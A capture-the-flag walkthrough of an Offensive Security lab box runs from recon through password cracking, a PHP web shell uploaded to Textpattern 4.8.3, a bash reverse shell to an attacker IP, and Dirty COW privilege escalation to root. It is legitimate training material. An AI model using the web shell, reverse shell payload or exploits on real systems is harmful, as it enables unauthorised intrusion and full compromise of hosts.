Details
This box was customized by Offensive Security and integrated in the ‘proving grounds’ lab.
In the following you see the solution of the ‘proving grounds’ version.
discovery
Starting with a simple nmap
scan to identify the attack surface of the target.
port scan
1
2
3
4
5
6
7
8
9
$ nmap -Pn -p- 192.168.76.219
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-19 10:01 EST
Nmap scan report for 192.168.76.219
Host is up (0.028s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
dir busting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ gobuster dir -u http://192.168.76.219/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x php,txt,html -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.76.219/
[+] Method: GET
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2022/11/19 10:02:37 Starting gobuster in directory enumeration mode
===============================================================
/db (Status: 200) [Size: 53656]
/index (Status: 200) [Size: 750]
/index.html (Status: 200) [Size: 750]
/index.html (Status: 200) [Size: 750]
/robots (Status: 200) [Size: 110]
/robots.txt (Status: 200) [Size: 110]
/robots.txt (Status: 200) [Size: 110]
/textpattern (Status: 301) [Size: 322] [--> http://192.168.76.219/textpattern/]
===============================================================
2022/11/19 10:04:19 Finished
===============================================================
resource robots.txt
request
1
2
3
4
5
6
7
8
GET /robots.txt HTTP/1.1
Host: 192.168.76.219
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 15:03:56 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 15 Mar 2021 19:51:18 GMT
ETag: "3738-6e-5bd9892bb9980"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 110
Connection: close
Content-Type: text/plain
User-agent: *
Disallow: /textpattern/textpattern
dont forget to add .zip extension to your dir-brute
;)
There is a hint we should add the extension zip
to our dir busting.
dir busting again
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gobuster dir -u http://192.168.76.219/ -w directory-list-2.3-medium.txt -t 5 -x zip -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.76.219/
[+] Method: GET
[+] Threads: 5
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: zip
[+] Timeout: 10s
===============================================================
2022/11/19 10:22:48 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 750]
/db (Status: 200) [Size: 53656]
/robots (Status: 200) [Size: 110]
/spammer (Status: 200) [Size: 179]
/spammer.zip (Status: 200) [Size: 179]
Progress: 26560 / 441122 (6.02%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/11/19 10:25:24 Finished
===============================================================
There is a file named
spammer.zip
resource /textpattern
Textpattern
is a CMS which is available at github.
There is a file named README.txt
which should reveal the version number of the software if it was not deleted on the target.
request
1
2
3
4
5
6
7
8
GET /textpattern/README.txt HTTP/1.1
Host: 192.168.76.219
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 15:20:23 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Sun, 13 Sep 2020 19:56:06 GMT
ETag: "62e0-18a7-5af374ef08180"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 6311
Connection: close
Content-Type: text/plain
Textpattern CMS 4.8.3
Released under the GNU General Public License.
See LICENSE.txt for terms and conditions.
...
Textpattern CMS 4.8.3
is installed.
exploitation
looking for exploits
1
2
3
4
5
6
7
$ searchsploit textpattern cms 4.8.3
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) | php/webapps/48943.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
There is an authenticated RCE available, but therefore we first need credentials for the CMS.
analyzing the file spammer.zip
1
2
3
$ unzip spammer.zip
Archive: spammer.zip
[spammer.zip] creds.txt password:
Trying to
unzip
the file shows a password protection.
Lets create a hash file, so we can try to brute force the zip
file with john
.
1
2
3
$ zip2john spammer.zip 80 ⨯
ver 2.0 spammer.zip/creds.txt PKZIP Encr: cmplen=27, decmplen=15, crc=B003611D ts=ADCB cs=b003 type=0
spammer.zip/creds.txt:$pkzip$1*1*2*0*1b*f*b003611d*0*27*0*1b*b003*2d41804a5ea9a60b1769d045bfb94c71382b2e5febf63bda08a56c*$/pkzip$:creds.txt:spammer.zip::spammer.zip
After saving the hash to a file named ziphash.txt
we can crack the zip
file using john
.
1
2
3
4
5
6
7
8
9
10
11
12
$ john ziphash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
myspace4 (spammer.zip/creds.txt)
1g 0:00:00:00 DONE 2/3 (2022-11-19 10:25) 20.00g/s 1762Kp/s 1762Kc/s 1762KC/s gatito5..ship4
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The
zip
password ismyspace4
.
Lets unzip
the file now
1
2
3
4
5
6
7
$ unzip spammer.zip
Archive: spammer.zip
[spammer.zip] creds.txt password:
extracting: creds.txt
$ cat creds.txt
mayer:lionheart
We got credentials! (
mayer:lionheart
)
test login
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /textpattern/textpattern/index.php HTTP/1.1
Host: 192.168.76.219
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.76.219
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.76.219/textpattern/textpattern/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
lang=en&p_userid=mayer&p_password=lionheart&_txp_token=
response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 15:36:47 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.5.38-1~dotdeb+7.1
Set-Cookie: txp_login=mayer%2C47a600c191f0c7e05dcf997ce6aea1c3; httponly
Set-Cookie: txp_login_public=f00ffa8296mayer; path=/textpattern/
Content-Security-Policy: frame-ancestors 'self'
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 28824
Connection: close
Content-Type: text/html; charset=utf-8
<script>
...
It works!
authenticated RCE
As we now have credentials for the Textpattern
installation, we can try the identified authenticated remote code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python3 /usr/share/exploitdb/exploits/php/webapps/48943.py
Software: TextPattern <= 4.8.3
CVE: CVE-2020-XXXXX - Authenticated RCE via Unrestricted File Upload
Author: Michele '0blio_' Cisternino
[*] USAGE: python3 exploit.py http://target.com username password
[*] EXAMPLE: python3 exploit.py http://localhost admin admin
$ python3 /usr/share/exploitdb/exploits/php/webapps/48943.py http://192.168.76.219/textpattern/ mayer lionheart
Software: TextPattern <= 4.8.3
CVE: CVE-2020-XXXXX - Authenticated RCE via Unrestricted File Upload
Author: Michele '0blio_' Cisternino
[*] Authenticating to the target as 'mayer'
[✓] Logged in as 'mayer' (Cookie: txp_login=mayer%2C4bf37dae3d9c499b6efbd883beb25d8c; txp_login_public=e9d4041c57mayer)
[*] Grabbing _txp_token (required to proceed with exploitation)..
Traceback (most recent call last):
File "/usr/share/exploitdb/exploits/php/webapps/48943.py", line 89, in <module>
scriptJS = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-2]
AttributeError: 'NoneType' object has no attribute 'replace'
The exploit seems to be broken.
Lets analyze the exploit to see how we can exploit it manually.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
# Exploit Title: TextPattern <= 4.8.3 - Authenticated Remote Code Execution via Unrestricted File Upload
# Google Dork: N/A
# Date: 16/10/2020
# Exploit Author: Michele '0blio_' Cisternino
# Vendor Homepage: https://textpattern.com/
# Software Link: https://github.com/textpattern/textpattern
# Version: <= 4.8.3
# Tested on: Kali Linux x64
# CVE: N/A
import sys
import json
import requests
from bs4 import BeautifulSoup as bs4
from time import sleep
import random
import string
import readline
...
# Uploading the webshell
log.warning ("Sending payload..")
try:
r = s.post (target + "textpattern/index.php?event=file", verify=False, headers=headers, files=multipart_form_data)
if "Files uploaded" in r.text:
log.success ("Webshell uploaded successfully as {}".format(randomFilename))
except:
log.error ("Unexpected error..")
sys.exit()
sleep(2)
...
The key point seems to be to upload a php
file to gain code execution. So lets login and perform an upload manually.
Calling the url mentioned in the python
script (textpattern/index.php?event=file
) shows an upload form (when we are logged in as mayer
).
We create a simple web shell named shell.php
with the following content.
1
<?php system($_REQUEST['cmd']) ?>
After we uploaded this file the website looks like the following.
Lets have a look if we can access the file
The file is there. Now lets try a code execution
request
1
2
3
4
5
6
7
8
9
GET /textpattern/files/shell.php?cmd=id HTTP/1.1
Host: 192.168.76.219
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: txp_login_public=e903ded730mayer
Connection: close
response
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 16:04:39 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.5.38-1~dotdeb+7.1
Vary: Accept-Encoding
Content-Length: 54
Connection: close
Content-Type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
It works! We got a shell.
post exploitation
reverse shell
start listener on attacker machine
1
2
$ nc -lvp 80
listening on [any] 80 ...
trigger reverse shell
payload: bash -c 'bash -i >& /dev/tcp/192.168.49.76/80 0>&1'
1
2
3
4
5
6
7
8
9
GET /textpattern/files/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.76/80+0>%261' HTTP/1.1
Host: 192.168.76.219
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: txp_login_public=e903ded730mayer
Connection: close
catch connection from target
1
2
3
4
5
6
7
8
$ nc -lvp 80
listening on [any] 80 ...
192.168.76.219: inverse host lookup failed: Unknown host
connect to [192.168.49.76] from (UNKNOWN) [192.168.76.219] 39977
bash: no job control in this shell
www-data@driftingblues:/var/www/textpattern/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
And we got a reverse shell.
privilege escalation
Using linpeas.sh
Providing linpeas.sh
on attacker machine with a simple web server.
1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Execute a wget
on the target to download linpeas.sh
from the attacker machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
www-data@driftingblues:/$ cd /tmp
cd /tmp
www-data@driftingblues:/tmp$ wget http://192.168.49.76/linpeas.sh
wget http://192.168.49.76/linpeas.sh
--2022-11-19 10:12:28-- http://192.168.49.76/linpeas.sh
Connecting to 192.168.49.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764159 (746K) [text/x-sh]
Saving to: `linpeas.sh'
0K .......... .......... .......... .......... .......... 6% 850K 1s
50K .......... .......... .......... .......... .......... 13% 1.65M 1s
100K .......... .......... .......... .......... .......... 20% 2.14M 0s
150K .......... .......... .......... .......... .......... 26% 7.43M 0s
200K .......... .......... .......... .......... .......... 33% 2.72M 0s
250K .......... .......... .......... .......... .......... 40% 7.89M 0s
300K .......... .......... .......... .......... .......... 46% 3.18M 0s
350K .......... .......... .......... .......... .......... 53% 4.19M 0s
400K .......... .......... .......... .......... .......... 60% 10.3M 0s
450K .......... .......... .......... .......... .......... 67% 13.4M 0s
500K .......... .......... .......... .......... .......... 73% 5.00M 0s
550K .......... .......... .......... .......... .......... 80% 4.11M 0s
600K .......... .......... .......... .......... .......... 87% 8.77M 0s
650K .......... .......... .......... .......... .......... 93% 18.1M 0s
700K .......... .......... .......... .......... ...... 100% 3.55M=0.2s
2022-11-19 10:12:28 (3.31 MB/s) - `linpeas.sh' saved [764159/764159]
linpeas.sh
gets downloaded.
1
2
3
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.76.219 - - [19/Nov/2022 11:12:28] "GET /linpeas.sh HTTP/1.1" 200 -
Executing linpeas.sh
1
2
3
4
5
6
7
www-data@driftingblues:/tmp$ ls
ls
linpeas.sh
vmware-root
www-data@driftingblues:/tmp$ sh linpeas.sh
sh linpeas.sh
...
The linpeas.sh
script shows the following exploit suggestions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2
[1] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[2] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[3] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[4] perf_swevent
CVE-2013-2094
Source: http://www.exploit-db.com/exploits/26131
...
Lets try dirty cow
After downloading the source file we provide it on our attacker machine, so we can download it to the target.
1
2
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now we are performing a wget
to download the file 40616.c
to the target
1
2
3
4
5
6
7
8
9
10
11
www-data@driftingblues:/tmp$ wget http://192.168.49.76/40616.c
wget http://192.168.49.76/40616.c
--2022-11-19 10:17:01-- http://192.168.49.76/40616.c
Connecting to 192.168.49.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4963 (4.8K) [text/x-csrc]
Saving to: `40616.c'
0K .... 100% 7.20M=0.001s
2022-11-19 10:17:01 (7.20 MB/s) - `40616.c' saved [4963/4963]
40616.c
gets downloaded
1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.76.219 - - [19/Nov/2022 11:17:01] "GET /40616.c HTTP/1.1" 200 -
Lets compile the source to a binary.
1
2
3
4
5
6
7
8
9
10
11
12
www-data@driftingblues:/tmp$ ls
ls
40616.c
linpeas.sh
vmware-root
www-data@driftingblues:/tmp$ gcc 40616.c -o cowroot -pthread
gcc 40616.c -o cowroot -pthread
40616.c: In function 'procselfmemThread':
40616.c:99:9: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [enabled by default]
In file included from 40616.c:28:0:
/usr/include/unistd.h:331:16: note: expected '__off_t' but argument is of type 'void *'
Execute the compiled binary to get root
access.
1
2
3
4
5
6
7
8
9
10
11
www-data@driftingblues:/tmp$ ls
ls
40616.c
cowroot
linpeas.sh
vmware-root
www-data@driftingblues:/tmp$ ./cowroot
./cowroot
whoami
root
We got
root
!
get the flag
1
2
3
4
5
cd /root
ls
proof.txt
cat proof.txt
1******************************9
Pwned! <@:-)